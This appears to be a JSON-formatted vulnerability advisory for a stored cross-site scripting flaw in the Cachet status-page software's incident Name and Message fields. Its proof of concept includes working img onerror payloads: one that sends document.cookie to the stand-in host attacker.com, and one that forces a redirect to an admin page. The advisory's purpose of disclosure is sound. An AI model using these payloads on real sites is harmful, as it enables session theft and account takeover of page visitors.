{"id":"CVE-2026-113712","aliases":["GHSA-x397-5hrv-j9m9"],"title":"Cachet has Stored XSS in Incident Component","summary":"Cachet has Stored XSS in Incident Component","severity":"medium","cvss":4.8,"cwe":["CWE-79"],"vendor":"cachethq","product":"cachethq/cachet","ecosystem":"composer","affected":["cachethq/cachet <= 2.4.1"],"published":"2026-10-20","updated":"2026-10-20","sourceUpdated":"2026-10-20T21:09:40Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-x397-5hrv-j9m9","references":[{"url":"https://github.com/cachethq/cachet/security/advisories/GHSA-x397-5hrv-j9m9"},{"url":"https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2"},{"url":"https://github.com/cachethq/core/commit/57b44a8bac0b250b0d5751e93e0349070d14606e"},{"url":"https://github.com/advisories/GHSA-x397-5hrv-j9m9"}],"tags":["ghsa","composer","cve.org"],"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","cvssSource":"cna","ingestedAt":"2026-10-20T20:18:14.544Z","slug":"CVE-2026-113712","body":"## Overview\n\n### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n```<img src=x onerror=\"alert(1)\">```\n\nStep 2 — Cookie/token exfiltration:\n```<img src=x onerror=\"fetch('http://attacker.com/leak?c='+document.cookie)\">```\n\nStep 3 — Forced redirect to sensitive page:\n```<img src=x onerror=\"window.location='/dashboard/manage-customization'\">```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n<img width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" />\n\n### Payload 2\n<img width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" />\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.\n\n## Affected packages\n\n- `cachethq/cachet <= 2.4.1`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":26,"depthScoreParts":{"impact":26.4,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}